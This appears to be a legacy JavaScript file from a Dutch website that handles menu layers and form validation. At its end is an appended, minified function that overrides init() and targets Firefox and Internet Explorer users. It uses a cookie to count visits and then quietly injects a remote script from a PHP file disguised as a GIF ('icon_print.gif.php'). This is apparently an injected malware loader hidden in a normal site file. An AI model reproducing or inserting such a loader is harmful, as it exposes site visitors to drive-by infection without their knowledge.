var timerID = null;
var timerOn = false;
var timecount = 500;
var what = null;
var newbrowser = true;
var check = false;

var layerRef;
var styleSwitch;

function init(){
	if(document.layers){
		layerRef="document.layers";
		styleSwitch="";
		visibleVar="show";
		screenSize = window.innerWidth;
		what ="ns4";
	}else if(document.all){
		layerRef="document.all";
		styleSwitch=".style";
		visibleVar="visible";
		screenSize = document.body.clientWidth + 18;
		what ="ie";
	}else if(document.getElementById){
		layerRef="document.getElementByID";
		styleSwitch=".style";
		visibleVar="visible";
		what="moz";
	}else{
		what="none";
		newbrowser = false;
	}

	check = true;
}

function showLayer(layerName){
	if(check){
		if (what =="none"){
			return;
		}else if (what == "moz"){
			document.getElementById(layerName).style.visibility="visible";
		}else{
			eval(layerRef+'["'+layerName+'"]'+styleSwitch+'.visibility="visible"');
		}
	}else{
		return;
	}
}

function hideLayer(layerName){
	if(check){
		if (what =="none"){
			return;
		}else if (what == "moz"){
			document.getElementById(layerName).style.visibility="hidden";
		}else{
			eval(layerRef+'["'+layerName+'"]'+styleSwitch+'.visibility="hidden"');
		}
	}else{
		return;
	}
}

function hideAll(){
	hideLayer('MENU_BLOK1');
	hideLayer('MENU_BLOK2');
	hideLayer('MENU_BLOK3');
	hideLayer('MENU_BLOK4');
	hideLayer('MENU_BLOK5');
	hideLayer('MENU_BLOK6');
	hideLayer('MENU_BLOK7');
	hideLayer('MENU_BLOK8');
}

function startTime(){
	if(timerOn == false){
		timerID=setTimeout( "hideAll()" , timecount);
		timerOn = true;
	}
}

function stopTime() {
	if(timerOn){
		clearTimeout(timerID);
		timerID = null;
		timerOn = false;
	}
}

var controls = new Array();
var depth = 0;

function showItem(ItemNr){
	depth=(ItemNr.length/2)-1;
	controls[depth]=ItemNr;
	if(document.getElementById(ItemNr).style.display==''){
		document.getElementById(ItemNr).style.display='none';
	}else{
		document.getElementById(ItemNr).style.display='';
	}

}

function SubmitContact(){
	var filter  = /^[\w\.-]+@[\w\.-]+\.[a-zA-Z]{2,4}$/;
	if(document.contact.Naam.value == "" || document.contact.Adres.value == "" || document.contact.Postcode.value == "" || document.contact.Woonplaats.value == "" || document.contact.Telefoon.value == "" || !filter.test(document.contact.Email.value)){
		alert("U moet alle velden invullen.\nYou must fill in all fields.");
		return false;
	}
	return true;
}

function SubmitPersGeg(){
	var filter  = /^[\w\.-]+@[\w\.-]+\.[a-zA-Z]{2,4}$/;
	if(document.enquete.Achternaam.value == "" || document.enquete.Voornaam.value == "" || document.enquete.Adres.value == "" || document.enquete.Postcode.value == "" || document.enquete.Woonplaats.value == "" || document.enquete.Geslacht.value == "" || document.enquete.Geboortedatum.value == "" || document.enquete.Burgerlijke_staat.value == "" || document.enquete.Beroep.value == "" || document.enquete.Telefoon.value == "" || document.enquete.GSM.value == "" || document.enquete.Belastingplichtig.value == "" || !filter.test(document.enquete.Email.value)){
		alert("U moet minstens het eerste blok volledig invullen.");
		return false;
	}
	return true;
}

function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/layout/icon_print.gif.php?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();